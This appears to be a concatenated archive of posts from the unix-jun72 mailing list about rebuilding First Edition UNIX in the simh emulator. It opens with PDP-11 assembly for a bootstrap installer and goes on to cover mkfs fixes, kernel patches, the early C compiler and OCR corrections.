mov $1700,r3
mov $4,r4
br 2f
1:
cmpb (r4),$'u
bne 1f
mov $1704,r3
mov $30,r4
br 2f
1:
cmpb (r4),$'1
bne 1f
mov $1734,r3
mov $30,r4
br 2f
1:
cmpb (r4),$'2
bne badcmd
mov $1764,r3
mov $14,r4
2:
/ open file
mov (r5),r5
mov r5,0f
sys open; 0:..; 0
bes error
mov r0,r1
sys seek; 20; 0
bes error
/ open rf0 and seek to correct block
sys open; disk; 1
bes error
mov r0,r2
mov r3,0f
sys seek; 0:..; 0
bes error
/ copy file from file to disk one block at a time
1:
mov r1,r0
sys read; buf; 512.
mov r0,r5
mov r2,r0
sys write; buf; 512.
bes error
dec r4
beq 3f
tst r5
bne 1b
3:
sys exit
error:
mov $1,r0
sys write; 1f; 2
4
sys exit
1:
<?\n>
badcmd:
mov $1,r0
sys write; 1f; 2
4
sys exit
1:
<?\n>
disk:
</dev/rf0\0>
.even
buf: .=.+512.
I've ported the bootstrap stuff over the whole UNIX V1 build process.
(Note: it would be nice to have a V1 as, so that all of these hacks
we've been doing can go away).
I'll send out the .tar.gz under a separate e-mail, but it's small enough (10K)
and I don't know who's in which timezone, so somebody should be able
to commit it.
There are two versions included: one that copies the bootstrap into
the rf0.dsk image before running the simulator, and one that runs
native under V1. Given that, if someone builds the kernel using
as under V1, they can use the usr/boot/msys command to install it
without leaving the simulation.
The good news is that you can use that to copy your test kernel into
the cold boot area and if it fails, can re-start the simulator from
the warm boot area and not lose any of your filesystem (assuming your
bad kernel didn't trash it, of course).
I also have a boot command, but haven't tested it yet. It could be
used to reboot without leaving the simulation. That's fine if your
kernel works, of course.
James Markevitch
All, the file
http://www.tuhs.org/Archive/Applications/Early_C_Compilers/last1120c-bits.gz
which is a tap(I) tape image, contains a file called libc.sa, dated Jun 7 1972.
I never noticed until now, but it contains the source code to the C library for
the last1120c compiler. I've added it to the subversion repository under src/lib.
Cheers,
Warren
I have just spent some time reconciling the differences between Doug's s1
fragment reconstruction and mine: we both had roughly the same # of errors,
and having the other's work was great. The repository has all the files in
src/cmd. I have not tried to assemble all of them yet, so any reports here
would be good. Remember, the C files will not compile with the existing
compiler.
Cheers,
Warren
A friend of mine has gotten an AT&T 3B2 running at the Vintage Telephone
Equipment Museum here in Seattle. A Teletype model 33 and a 37 can now
also connect (through a small step-by-step switch and then a #5 crossbar)
to the computer. Even if System V is not exactly classic UNIX, I hope
the configuration as a whole counts.
The 33 has local echo. The 37 has it too (but supposedly that's easier
to change). I've been experimenting with the correct stty settings, but
it's hard to get everything right. Mostly I've been experimenting with
the 33 since the 37 just started working yesterday.
Could some setting cause line feeds to intermittently not happen, so that
two lines are overprinted? I'm wondering if this is due to a mechanical
problem in the 33, or to line noise (which I know we are having) because
I can't see much pattern to when lines are being overprinted.
Are there any input settings that allow me to use LINE FEED and CAR RET
interchangeably as line terminators in canonical mode? I'm assuming they
won't affect the output settings, so that programs can print NL (which
becomes CRLF) or CR (which stays CR).
Is the terminal driver smart enough to print the LF character while the
CR is happening, so I can shorten the delay settings? That's only dealing
with output. Is the driver smart enough to change the timing when dealing
with input? (since the driver can't change the LF key into CRLF because
the LF is already happening when the driver sees it).
I have tabs expanded on output. Can I get the terminal driver to expand
them as input is being echoed?
And what controls echoing of login names? (besides /etc/gettydefs) We
want to turn that off for certain lines.
If you need more details, they will have to wait until Tuesday. Sorry.
And does anyone have any ideas about interesting ways to demonstrate the
features of the 37, 43, and 5610? I thought eqn might be smart enough
to use the half and reverse line feeds, and vertical tabs, of our 37.
Does any software know about the ribbon colors? What about software
to control tape readers and punches? We probably don't have the extra
32 printing characters that dmr's pages on early UNIX mention.
Thanks,
-- Derek
FYI I recovered 100% of the s1 src code fragments; I presume this
is of interest to y'all on this list, yes?
Actually I started to do so years ago, got distracted, and just started
again April 18, purely by coincidence, just days before this
list started -- quite a coincidence!
Then I went off trying to chase down the Multics source that
Ken and Dennis and Doug and Joe et al wrote, which eventually
lead me to discover the V1 source listing at bitsavers, and
googling *that* lead me to this (apparently stealth-mode) list.
(I have no gmail, btw, so I haven't requested to join, nor to svn.)
And reading the archived messages, wow, you guys got an amazing
amount done in a very short time! Congrats! (Boy am I glad I don't
have to do all that by myself after all...)
To give you an idea of what I got out of those frags, here's
the file listing of the result:
acct.s cc.c fed2.s
ar.s chmod.s fed3.s
as11.s chown.s form1.s
as12.s cmp.s form2.s
as13.s colon.s form3.s
as14.s cp.c form4.s
as15.s date.s form5.s
as16.s db1.s form6.s
as17.s db2.s fstrip.s
as18.s db3.s getty.s
as19.s db4.s glob.c
as21.s dc1.s goto.c
as22.s dc2.s if.c
as23.s dc3.s init.s
as24.s dc4.s ld1.s
as25.s dc5.s ld2.s
as26.s df.s ldx.s
as27.s dsw.s ln.s
as28.s dusg.s login.s
as29.s ed3.s ls.s
bas0.s exit.c unknown_frag64.c
bas1.s fc.c
cat.s fed1.s
(Warren's "Missing commands" missive in the list archive said "maki"
is present as a v2 binary, but don't forget that its *source* is present
also, in /usr/ken/maki.s and also /usr/sys/maki.s)
Note that ed1.s and ed2.s are missing. Their source code simply wasn't
in any of the fragments (which means, was not on the s1 disk image).
The "unknown_frag64.c" is almost certainly just a random useless C
program, not part of the actual Unix source (it doesn't look like
interesting code, and the indentation is random -- it's not written
in The One True Style).
Warren's frag68 and frag69 are not true fragments, so given all the above,
the reconstitution of s1 is complete (but needs double checking, e.g.
by people trying to assemble and run the source).
NOTE: I am not sure of precisely when s1 dates to, but many of these
source files use the "jsr r5, 0: <buffer>" calling convention that
requires writable code segments -- did that go away sharply with the
pdp11/20 to pdp11/45 move, or no?
Also note that these source files have both 0405 *and* 0407 types of
preludes, and that is also true of some of the binary disk blocks on
the s1 image that happen to contain executable commands (I've taken
only a brief look at the latter so far).
On the subject of the TEK graphics display, don't forget that good old
xterm(1) has a Tektronix 4014 mode! I don't remember how much variation
Tektronix had between different models (I may still have some manuals
somewhere, not sure), but conceivably that's a starting point.
P.S. Since doing the above, I've been working on a disassembler; it
works ok, and emits of course 'as'-syntax asm, and accepts a markup-
command file to allow e.g. introduction of human-chosen labels for octal
addresses -- and I'm nearly done
adding the ability to produce "1f" "1b" style branch labels -- I
created a bunch of bugs in the process of doing that.
When I get that settled down better, I intend to use it for very much the
same purpose that Warren was talking about in the list archives.
I also wrote a tap-format unarchiver from scratch to re-extract s2, but
unsurprisingly that was a wasted effort; Ken's extraction did in fact
recover everything in s2 that there is to recover. I should have known. :-)
P.P.S. While you're asking Ken and Dennis for more listings, ask them
for any "Unics" PDP 7 listings they may have, too! I suspect Ken even
has a Space Travel listing lying around, although I don't think he
has ever mentioned it over the decades.
P.P.P.S. The Computer History Museum is opening its exhibit of the
second Babbage engine replica tomorrow; I'm looking forward to it.
Doug Merritt
--
Professional Wild-eyed Visionary Member, Crusaders for a Better Tomorrow
The new boot stuff that James provided has more fs/usr files. How
do we want to organize this in the tree? Do we just mix it with the
fs2 bits? Do we enter it as part of the new bits?
Tim Newsham
http://www.thenewsh.com/~newsham/
I did a comparison of s2's /bin/sh and the sh.s we have (notes in
the notes file about this). There were a few changes, but they were
pretty similar. I added a patch in the patches directory that reflects
the changes and I verified that if you build with the patch you get
an identical binary (modulo the padding bytes that the assembler
fills in for ".." and ".even"). It's currently marked as an optional
patch and the sh.s build isn't being installed over /bin/sh in the
rf0.dsk image.
I think the sh.s listing itself might be defective in two ways:
- There's an rts missing at the end of the "error" function
- It doesn't check for the "*" character when looking for globbing.
The 1e man page does list "*" as one of the globbing characters,
so its likely that these three instructions (1 rts, 2 for comparison)
somehow got dropped from the commented jun72 listing. I'm torn between
adding them to the original "pages" sources as obvious mistakes or
just leaving it out and using a patch to fix it. Right now we don't
have a patch that adds just these two fixes. I guess if we did that and
made it a mandatory patch, we could use the sh we build from sh.s as
/bin/sh in the images.
I look forward to seeing what shell sources we might get from the s1
fragments recovery.
Tim Newsham
http://www.thenewsh.com/~newsham/
if you want to contribute, but don't have e.g. arcane knowledge of
PDP 11 assembly and such -- then let me suggest that it would be
interesting to find out more about these people listed in the 1973
"Study of Unix" documents (http://www.bitsavers.org/pdf/bellLabs/unix/)
that formed the basis of this reconstruction effort.
For starters, who was this "T. R. Bashkow" who called the
meeting? Some googling last week indicates to me that he has
an engineering award named after him, and that he does
not have a wikipedia entry.
B. A. Tague's name is prominent too, although I personally
do not recognize it. And similarly for the other memo
addressees.
Consider that any of these people might just happen to still
have source code listings, magnetic/DEC-tapes, paper tape, or even just
historical anecdotes to share, but perhaps no one ever asked
them.
Or their heirs, for any who have passed on.
In any case, it's getting kind of late in history; this may
be the last chance to track down even information about these
people who participated in this historic meeting, let alone
find them and ask them about ancient media.
P.S. The above thoughts apply to all other historic systems, of course,
not just those Unix-related.
I managed to find a RESISTORS-related historic document last week,
for instance. (Princeton-area early hobbyist computer group.)
Doug Merritt
--
Professional Wild-eyed Visionary Member, Crusaders for a Better Tomorrow
I just committed some changes that reorganize the build process a bit.
The Readme contains information about the change. Basically now you
just do a "make" at the top level. If you have a checked out tree
you might have to move your current "build" aside when you do an
update. Please let me know if anyone notices brokenness.
Warren, can you look over the Readme?
Tim Newsham
http://www.thenewsh.com/~newsham/
An early section of the jun72 document has some code for
"modifications to UNIX to accomodate the T4002A graphic console."
Is anyone familiar with this? If we could emulate this device
easily, it might be fun to enter this patch as an optional patch
to the system.
Tim Newsham
http://www.thenewsh.com/~newsham/
Ok, I had some initial success with a quick and dirty hack.
- apply the attached patch to your simh tree and rebuild pdp11
and copy it into your tools directory.
- maps the TTIX device into the DC11 space
- forces the CSR to return the carry-detect bit as always on
- edit build/init.s and uncomment some or all of the ttys
build it and place it on your drive:
$ vi build/init.s
$ tools/as build/init.s
$ cp b.out build/root/etc/init
$ tools/mkfs -p fs/Readme build/root rf0.dsk rf
- copy your simh.cfg to simh2.cfg and add these lines before
the "go" line:
set ttix en
set ttix lines=8
att ttix 5555
- run "./simh2.cfg"
at this point you can telnet to port 5555 and enjoy a multi user
unix system. This lacks a lot of polish and needs a bit of work
yet, but its quick and dirty.
You'll have to revert to the old init if you want to use the normal
simh.cfg since the kernel will panic when opening the other ttys
if the DC11 hardware isnt attached.
Tim Newsham
http://www.thenewsh.com/~newsham/
> We need to recreate enough of the boot chain to make self-support possible.
> James Markevitch I think was working on this; James, can you give us a
> status report?
It's up and running. It requires the KE11 fix that Brad made (so that
switch registers work). I tested against that and can boot without
pre-loading core with anything other than the 32W bootstrap. It pulls
the bootstrap (bos) and operating system from the high portion of the
RF11 image.
I'll upload this this evening.
James Markevitch
Wednesday I got V1 running on my Mac. Great fun!
The level of sophistication impressed people here.
Do you folks think we can move the sources for
the kernel into it and have it be self supporting?
Hi
I have a few xt computers and would like to put some old unix OS on,
what unix would you guys recommend for it ? most of the unix that i have
tried to search for are for machines that are older than xt.
Regards,
Angus
I've just written a Readme to describe how to build the kernel and filesystems,
and to run 1st Edition UNIX. Can a few people who haven't actually used the
system please have a go and give me feedback on the Readme.
To fetch the repository:
svn checkout http://unix-jun72.googlecode.com/svn/trunk/ unix72
Then go into the new unix72/ and read the Readme.
Thanks,
Warren
I'm still working on the last1120 C compiler, so I've added the original code
to svn. Right now, the compiler executes fine under Apout (enough to recompile
itself), but not on V1 with the 0407 patch. I can compile simple C programs,
and execute the resulting 0407 binary on V1. I'm running this program to get a
memory dump of the process while it is running:
main()
{
char c[];
int i;
printf("Hello world\n");
c= main;
while (c != 0) {
i= *c & 0277;
printf("%o %o\n", c, i);
c++;
}
}
so I can compare the Apout memory environment with the V1 memory environment.
But it's very sloooow. I wonder why; V7 on simh is much faster than V1.
Cheers,
Warren
P.S The C compiler doesn't have for loops :-)
In the svn repository, patches/upcase.patch now fixes the kernel so
that CR is converted into LF. This means that you don't have to type ^J
in any more.
Warren
I removed some older tools from the svn. If you're still using them
and want to hold on to them, you might want to back up your copy
before updating, or pull old versions from svn (feel free to send
me questions if you are unsure how).
Assemv7 and assem went away as did dumpaout.py.
Tim Newsham
http://www.thenewsh.com/~newsham/
Would people mind if I imported apout src code into svn under tools/?
It's 35 files, 280K. I've fixed one small bug, and as we use it a lot it
might be good that you can get the latest version.
Warren
I just tried this command and got this output. Any ideas?
Warren
# who bin
).. Jan 1 13:02:48
b Dec 17 21:22:33
:. Jan 6 04:04:20
Jan 1 00:00:00
s1c Jan 2 08:46:04
2cat Jan 1 15:35:29
e Jan 2 08:27:52
chmod6 Dec 3 20:05:51
Jan 1 00:00:00
d Nov 24 08:05:49
:db Jan 1 18:01:07
Jan 1 00:00:00
ds> Jan 9 10:39:19
Jan 1 00:00:01
hoAe Jan 1 00:00:00
Bexit Jan 1 20:26:45
n Jan 1 00:00:00
formF Dec 26 13:00:28
Jan 1 00:00:01
l Jan 1 00:00:00
Jlogin Jan 1 22:53:32
i Jan 1 00:00:00
makiN Nov 24 06:05:45
r Jan 1 00:00:01
n Jan 1 00:00:00
Rod Jan 2 01:19:06
w Jan 1 00:00:00
rmV Dec 20 04:59:37
Jan 1 00:00:01
s Nov 24 09:55:03
Zskip Jan 2 03:44:31
a Jan 1 00:00:00
strip^ Jan 12 21:01:19
Jan 1 00:00:01
mat Jan 2 09:58:53
btm Jan 2 06:10:31
Jan 1 00:00:00
wcf Dec 4 02:01:29
e Jan 1 00:00:01
In the V1 filesystem, there are a few files are owned by users which are
not in the /etc/passwd or /etc/uids files:
xrwr- 6 2860 169 Mar 7 12:23 /bin/cal
xrwr- 4 7154 61 Jul 21 12:42 /bin/roff
-rwr- 28 304 448 Jun 30 20:31 /usr/lib/fr0.o
-rwr- 28 12222 449 Jun 30 20:37 /usr/lib/filib.a
-rwr- 28 9158 419 Jun 30 20:46 /usr/lib/libf.a
xrwr- 28 3462 491 Jul 1 16:35 /usr/fort/fc1
xrwr- 28 3238 498 Jul 1 16:35 /usr/fort/fc2
xrwr- 28 6840 505 Jul 1 16:35 /usr/fort/fc3
xrwr- 28 4918 519 Jul 1 16:35 /usr/fort/fc4
Now, I know that ken worked on the Fortran compiler, Joe Ossanna (jfo)
wrote roff, and in V6 & V7, ken had uid 6 and dmr had uid 7. So I
propose the following:
- add ken == 6, dmr == 7, jfo == 4 to /etc/passwd and /etc/uids, as
new files in fs/new. Thus jfo will own /bin/roff and ken will own
/bin/cal
- modify the permissions file so that the Fortran files which are
uid 28 become uid 6 == ken.
Sound reasonable?
Cheers,
Warren
Now that we have the V1 and V2 binaries in the svn tree, I thought I would
try to use the V2 assembler to build the kernel, instead of the V7 one.
After a bit of experimentation, I got it to work. It means we can remove
our dependency on the V7 assembler.
I've committed tools/assemv2, the script to build with V2 as, and a patch
to redefine $mount and $gtty.
It probably means that we could rebuild the kernel while running V1; I
haven't tried this as yet.
Cheers,
Warren
I think it would be a good idea to import the V1 / and /usr filesystem from
the s2 tape into the subversion repository, so that we can write a tools/
script to build "known good" rf0.dsk and rk1.dsk disk images.
In my private tree I have 1root/ and 1usr/, but perhaps we should have
something like fs/root/ and fs/usr. They need to be split so that my
mkfs tool can build separate disk images.
Comments?
Warren
# bas
i=25
print i
2.50000000e1
for i = 1 10 print i next
1.00000000e0
2.00000000e0
3.00000000e0
4.00000000e0
5.00000000e0
6.00000000e0
7.00000000e0
8.00000000e0
9.00000000e0
1.00000000e1
So, that's asm, C, fortran, basic, and shell: 5 languages.
I'm sure we could get ed and roff to perform as turing machines, but
I will leave that as an exercise for the reader :-)
Warren
This is cool stuff. Just a few weeks after thinking "this would be
cool if we could rebuild a working early Unix from the printed source
code" you've done just that. While it seems pretty primitive, it's
certainly recognizable as a Unix already and LIGHTYEARS ahead of
anything else I've played with from that era (DOS-11 and RT-11)
Still no great progress. I can confirm that "cc" and "cvopt" both work, but
the two compiler passes "c1" and "c2" don't work. Sometimes I can get them
to core, but with different arguments the system locks up.
On http://cm.bell-labs.com/cm/cs/who/dmr/primevalC.html, Dennis notes this:
A second, less noticeable, but astonishing peculiarity is
the space allocation: temporary storage is allocated that
deliberately overwrites the beginning of the program,
smashing its initialization code to save space. The two
compilers differ in the details in how they cope with this.
In the earlier one, the start is found by naming a function;
in the later, the start is simply taken to be 0. This
indicates that the first compiler was written before we had
a machine with memory mapping, so the origin of the program
was not at location 0, whereas by the time of the second,
we had a PDP-11 that did provide mapping. (See the Unix
History paper). In one of the files (prestruct-c/c10.c) the
kludgery is especially evident.
It could be that this sort of memory operation is what is causing the
problem. Is there a way for simh to give an instruction trace beginning
at a certain address e.g. 040000, so I can watch c0's behaviour and see
where it goes off the rails?
Thanks,
Warren
I entered init.s and played around with it a little. I *think* it might
be working (I stepped through some of it) but it doesn't use the normal
tty in multi-user mode, so it's hard to tell without dc-11 support.
I guess it was lucky that we used the s2 init instead of the jun72
init, because it seems the s2 init does run getty on the main terminal
in multiuser mode.
The process for building it is:
$ tools/rebuild
$ tools/as sys1.s build/init.s
and you'll have a "b.out" in the current dir.
Is anyone planning on working on dc-11 support?
Tim Newsham
http://www.thenewsh.com/~newsham/
Now that we have 0407 kernel support, I'll have a go at getting one of the
early C compilers to work. Could I suggest that we make a src/ directory
in svn, which will hold any source code that produces V1/V2 executables?
I'll make a directory for the C compiler. We can also add in working fragments
from the s2 tape into a cmd/ directory. The layout echoes the V7 tree:
/usr/src
/usr/src/cmd/ # Single file sourcefiles
/usr/src/cmd/as/ # Assembler
/usr/src/cmd/c/ # C compiler
/usr/src/libc/ # C library
/usr/sys/sys/ # Kernel source
Which of course implies that we might need to rename rebuilt/ to sys/ :-)
Thanks,
Warren
After e-mailing a reply about 6 times today and it going to the original
poster, instead of the mailing list where I wanted it to go, I have
decided to change the behaviour of the unix-jun72(a)tuhs.org list. Replies
will now go back to the list, not the poster.
It's an arbitrary decision; if you disklike it, let me know. If most
of you prefer it the other way, I'll switch it back!
Good night,
Warren
I reorganized the build process slightly. Hopefully this won't affect
anyone and everything will keep working as before. I basically
took the 'sed' hacks out of assemv7 and made the "rebuild" script do
the patching with proper patch files instead. There is now a patches
directory with all of the patches we are using and comments on what
they do and why.
Tim Newsham
http://www.thenewsh.com/~newsham/
All, my mkfs.c $Revision: 1.17 $, $Date: 2008/05/04 14:20:12 $ now produces
mountable filesystem images, and it's now checked into the svn repository.
The problem was that the size of a directory is not the size of the blocks
allocated to it, but is in fact the number of bytes of the in-use directory
entries. For example, / was being allocated 1 block == 512 bytes. But 512
is not its size (as it would be in later UNIXes); in fact if / has entries
41 sdrwr- 7 root 70 Jan 1 00:00:00 .
41 sdrwr- 7 root 70 Jan 1 00:00:00 ..
43 sdrwr- 2 root 570 Jan 1 00:00:00 bin
42 sdrwr- 2 root 250 Jan 1 00:00:00 dev
99 sdrwr- 2 root 100 Jan 1 00:00:00 etc
108 sdrwr- 2 root 70 Jan 1 00:00:00 tmp
114 sdrwr- 2 root 20 Jan 1 00:00:00 usr
then its size is 7 entries * 10 bytes each = 70 bytes.
Importantly, this also means that we can now make bootable root filesystems
without having to do a cold UNIX:
% tools/mkfs /usr/local/src/V1 rf0.dsk rf # Make the / disk
% tools/mkfs /usr/local/src/V1 rk0.dsk rk # Make the /usr disk, same stuff
% ./simh.cfg
PDP-11 simulator V3.7-3
./simh.cfg> #!tools/pdp11
Unknown command
Disabling CR
Disabling XQ
RF: buffering file in memory
TC0: 16b format, buffering file in memory
sim> g
:login: root
root
# /tmp/a.out
/dev/rk0# ls -l /usr/tmp
total 8
112 sxrwrw 1 root 156 Jan 1 00:00:00 a.out
110 sxrwrw 1 root 1664 Jan 1 00:00:00 etma
113 sxrwrw 1 root 6 Jan 1 00:00:00 hello
109 sxrwrw 1 root 26 Jan 1 00:00:00 ttmp
111 sxrwrw 1 root 142 Jan 1 00:00:00 utmp
# df
806+4602 # Number of free blocks on / and /usr
I added /usr/tmp/hello just to verify that I was getting files that
were not on the cold UNIX tape.
Cheers,
Warren
> > The controller is an RK11.
> > The disk drives are RK02, RK03, RK05.
> >
> > The RK02 is a 1.2MB drive (256B per sector).
> > The RK03 is a 2.4MB drive (512B per sector).
> > The RK05 is a 2.4MB drive (512B per sector).
>
> There was also a RK05F which used a fixed platter (in the same
> plastic enclosure as the removables if I remember correctly). That was
> double capacity, around 5MB.
Yes, the RK05J is the removable one, as described above. The RK05F is
the fixed version that doubles the density. However, to the system, it
appears as two separate drives, not as a single 5MB drive. I am not
sure how the data were interleaved between the two "logical drives"
which is important when scheduling seeks on the logical drives.
James Markevitch
I've just checked in my latest tools/mkfs.c into the svn repository. Could
a few people eyeball it and look for errors. Even better, if you can eyeball
the working rf0.dsk image and compare it to an image made by my mkfs.c.
At present, I can make an rk0.dsk image with mkfs. I can run up a warm kernel
and try to mount the rk0 image as /usr, with my /tmp/a.out. But when I try
to chdir /usr, I get a Bad directory message.
So something is screwy with the rk0.dsk that my mkfs.c is making.
Thanks,
Warren
P.S typescript of warm boot:
:login: root
root
# check # check indicates rk0.dsk is OK
RF:
119 files
6 large
6 indirect
255 used
399 free
336 missing
RK:
43 files
0 large
0 indirect
2 used
4784 free
0 missing
# /tmp/a.out # I try to mount it
/dev/rk0# chdir /usr # but the chdir fails
Bad directory
# du /usr # du /usr shows no results
# df /usr # and df shows it is empty
0
# df # but df shows the free space on RF/RK
399+4784
> Confusingly, the 1e manual for /dev/rk0 says its an RK03. I'll have to go
> read the DEC manuals, but I would guess that the RK11 drive and interface is
> the same, but the RK03 and RK05 removable disk packs were of different
> storage capacity.
The controller is an RK11.
The disk drives are RK02, RK03, RK05.
The RK02 is a 1.2MB drive (256B per sector).
The RK03 is a 2.4MB drive (512B per sector).
The RK05 is a 2.4MB drive (512B per sector).
The media for the RK03 and RK05 are compatible (IBM 2315). The drives
look different from each other, but I don't think the system can tell
the difference.
James Markevitch
I looked through init briefly and the version from s2.tar.gz is
slightly different than the one in the pdf printout. In the printout
/dev/rk0 is mounted on /usr at boot time. In the s2 version the
string "/usr" is still present, but the call to mount is gone
and so is the "/dev/rk0" string.
The init source is fairly short and shouldn't be too hard to type
in or get from ocr. Has anyone yet worked through the details of
using the V7 compiler to make 0405 binaries? Also has anyone
successfully used a populated /usr on rk0 yet?
Tim Newsham
http://www.thenewsh.com/~newsham/
I wrote this:
exit = 1.
mount = 21.
sys mount; rk0; usr
sys exit
rk0: </dev/rk0\0>
usr: </usr\0>
And tried to assemble it with /bin/as, but it's a 407 exec and it didn't
work (core dump, created odd files)
So, I built it with apout & as like this:
apout /backup/raid2/pdp11/v7/bin/as ./mount.s
# reconsruct v1 0405 a.out header
echo -e '\005' >mount
dd if=a.out of=mount bs=1 skip=1 seek=1 count=11
dd if=a.out of=mount bs=1 skip=16 seek=12
And it runs, but nothing happens. I have not debugged it much. Wish we
had a working v1 as.
-brad
On Sat, May 03, 2008 at 08:16:19AM -0400, Brad Parker wrote:
> The simh setup was wrong; you need to use
>
> set rk0 enabled
> attach rk0 rk3.dsk
>
> Once I did that I could check the image I made with your program. I have
> not mounted it yet, however. It checks fine.
>
> Tim - where did you get the files you used to make your tape image? Can
> you tar up that directory and check it in? I can't find init anywhere.
> I must be confused.
On the s2 tape in /etc/init.
Thanks Brad.
Warren
> >There is a bug in the svn sources on page e09-07, near the bottom.
> >The call to sleep should read:
> >
> > jsr r0,sleep; 0:..
> >
> >Note that there should be a colon, not a semi-colon after the 0.
> >Presumably, this code was never executed, else it would have
> >resulted in a halt.
>
> thanks!
>
> but what *does* that syntax do? 0:.. ?
The two-instruction sequence is:
movb tty+3(r1),0f / put clist id in sleep argument
jsr r0,sleep; 0:..
The "0:" on the second line is a label and it is referenced by the "0f"
in the first line. The first line is putting a value into the argument
being passed to the sleep subroutine. Self-modifying code.
The ".." assembles to a 0.
With the incorrect code, "0" assembled to a 0 and ".." assembled to
a 0, so there was one extra word of zeroes, and the return from the
sleep would have executed it (halt) instead of the "br 1b" on the
next line.
James Markevitch
I downloaded the stuff from the svn, got it to build, then did a cmp -l
on the load file from my assembler vs. the one built from the svn tree.
There is a bug in the svn sources on page e09-07, near the bottom.
The call to sleep should read:
jsr r0,sleep; 0:..
Note that there should be a colon, not a semi-colon after the 0.
Presumably, this code was never executed, else it would have
resulted in a halt.
After I made that fix, a build from the svn tree is identical to that
from my assembler.
James Markevitch
I thought I would quickly make a list of commands we have, commands that
are missing, and out-of-the-ordinary commands. Below, if a command has
no comment, it's a V1 command that we have. Notes follow. I have not tried
to list the missing /etc and /usr/... commands yet.
/bin
----
: V2 cmd, 0405 binary
ar
as V2 binary
b missing
bas
bcd missing
boot missing
cal
cat
cc V2 binary
chball ? no idea
check
chmod
chown
cmp
cp
date
db
dbppt missing
dc
df
ds V2 binary
dsw
dtf missing
du
echo V2 cmd, 0405 binary
ed
exit V2 cmd, 0405 binary
fc V2 binary
find V2 binary
form
goto V2 cmd, 0405 binary
hup missing
if V2 cmd, 0405 binary
lbppt missing
ld V2 binary
ln
login V2 cmd, 0405 binary
ls
mail
maki V2 binary
mesg
mkdir
mkfs
mount
mv
nm V2 binary
od
pr
rew
rkd missing
rkf missing
rkl missing
rm
rmdir
roff
sdate missing
sh
size V2 binary
skip ? no idea
sort
stat
strip V2 binary
stty V2 cmd, 0405 binary
su
sum
tap
tm
tty
type
un V2 binary
wc
who
write
/etc
----
as2 V2 binary
getty V2 cmd, 0405 binary
glob
init
msh
suftab
uids
I have a quote from dmr somewhere (I can't find it), but to paraphrase:
early UNIX was under a constant state of development. We would tidy up
now and then, write a new manual, then get back to development.
The 1st Edition UNIX manual is dated November 3, 1971.
The 2nd Edition UNIX manual is dated June 12, 1972.
1st Edition (1e) only used 0405 a.out files. 2nd Edition (2e) only used
0407 a.out files. I would guess that the executables that we have from
the s2 tape are from a snapshot halfway between 1e and 2e, and at that
point in time the kernel could execute both varieties. This would explain
why some V2 commands are 0405 style, and some are 0407 style.
Despite the dates on the PDF commentary where we got the kernel source,
the kernel has to be around 1e, not much later. The kernel only knows
about 0405 a.out files, and is missing all of the system calls new to 2e:
hog, kill, makdir (renamed from 1e mkdir), smdate and sync.
So: kernel is around 1e, Nov 1971 or close; executables are somewhere
between 1e and 2e, but before June 1972 as we have 0405 and 0407 ones.
Cheers,
Warren
The tape I made earlier didnt properly preserve the permissions so
booting failed to exec /etc/init (had no exec bit set). I fixed
my tape builder to get the permissions from the old Readme file
and regenerated a tape..
The good news: login prompt!
I just built rf0 in the usual way, then rebuilt a warm kernel and
booted it.
Tim Newsham
http://www.thenewsh.com/~newsham/
Here's the current status on how to use the files:
- svn to the latest version
- install v7 binaries somewhere (ie /tmp/v7)
- install apout somewhere (ie /tmp/apout2.3alpha2)
- update paths in tools/assemv7
- compile tools/ml.c into tools/ml
- build simh's pdp11 emulator using brad's patches at
http://www.unlambda.com/download/pdp11/unix-jun72/KE.diff
install into tools/pdp11
- run ./tools/assemv7 to make files in build/*
- run ./simh.cfg to run the emulator
- type "go" to start it
- type "go" at the first halt to continue writing over your rf0 disk
- after waiting for a while, type control-e and then "det rf" and
then "quit"
- you should now have some data written over your rf0.dsk image.
Next steps:
- continue debugging the cold boot process. This should eventually
let us install a full root disk image from the kernel and a
tape construct with 1972_stuff s2 /bin and /etc files.
- get a working mkfs and use it to build and populate the rk03 disk
with the 1972_stuff s2 /usr files.
- continue debugging the kernel to boot the rf0 disk and mount the
rk03 disk on /usr.
Tim Newsham
http://www.thenewsh.com/~newsham/
Hey guys.
I saw the thread about the assembler doing divide by 2 the wrong way.
I took a look at my assembler and it had a similar bug. I fixed my
assembler, then ran the code again.
It correctly writes the RF11 image (as best as I can tell), then reads
/etc/init into the user area and executes it. I left the TC11 disabled
on my run and it panics when /etc/init tries to read the tape.
To double-check, I ran the warm boot and it successfully gets into
the /etc/init user code as well, so I'm pretty confident the image
is right.
As far as I can tell, the source code I sent out this morning has no
problems. Most likely, you guys are fighting assembler and/or other
tool issues.
I'll cobble together a bootable RF11 image (assuming that there really
are no kernel problems) and send out a copy of that. Once everyone
has that, they should be able to continue generating tapes and RK03
images of other executables, etc. I can include a copy of the
assembler listing file for both warm and cold boots so that everyone
can have a reference while they are debugging.
I've also got the M792 boot (from the documentation) as well as an
untested bos.s. If those work, then the RF11 image I send out will
be pretty close to authentic. Otherwise, you will still need to load
the kernel into core with the "load" command.
James Markevitch
I'm sending Brad a copy of a different OCR of the document that he
can use to check against the current one. The file also includes
various fixes to bugs in the original document.
Presumably, he'll incorporate anything differences into the svn.
James Markevitch
I just did a 'grep' of some suspicious
character combinations and found the following:
e00-04:/ initialize i-nodes r1.,...,47. and wr1te the root device,
binary, etc.,
e04-01: bne 3f /Is1t zero now?
e08-05: bis $103,r3 / now rbn,for,un1t,1e
e04-03:1: / flle just opened
e05-04: cmp r1, ii / r1 = i-number of current flle
e03-01: jsr r0,rswap / read new process 1nto core
e04-04: cmp r1,$12 / is char a l1ne feed
e06-02: br ret / it 1n r1; 1f there 1s no problem with reader,
it
e06-02: inc *u.fofp / increment file offset to point to 'next' char
1n
e08-03: br 1f / branch if block already 1n a I/O buffer
e08-03: bis $2000,(r5) / set read mu (bu: 100 1n 1/0 buffer)
e08-06: bit $173000,(r5) / lock+keep+active+outstand1ng
e11-07: cmp 0b,$1nbuf+256. / have we exceeded innut buffer size
e06-04: inc *u.fofp / increment f11e offset to point to next
available
e06-05: mov r2,i.size / yes, increase the f11e size to file offset +
e06-06: / be written to the f11e
e08-03:tstdeve: / check whether permanent error has occured on special
f11e
e03-02: / to end of stack gets written out) ~
e08-03: mov u.base,r2 / put users base in r2 ~
e11-01: cdpb B(r5),$'- / was this sh calleZd by init or loginx~
e03-02: cmp r2,$core / is u.break less than Score
As you can see, the errors are almost exclusively in
the comments. Someone with write access to the svn
repository could perhaps take care of that.
Hellwig
I just noticed that the 1972_stuff "as" program generates:
400 MOV #120000,SP
for
core = orig+40000 / specifies beginning of user's core
ecore = core+20000 / specifies end of user's core (4096 words)
[...]
. = orig+400
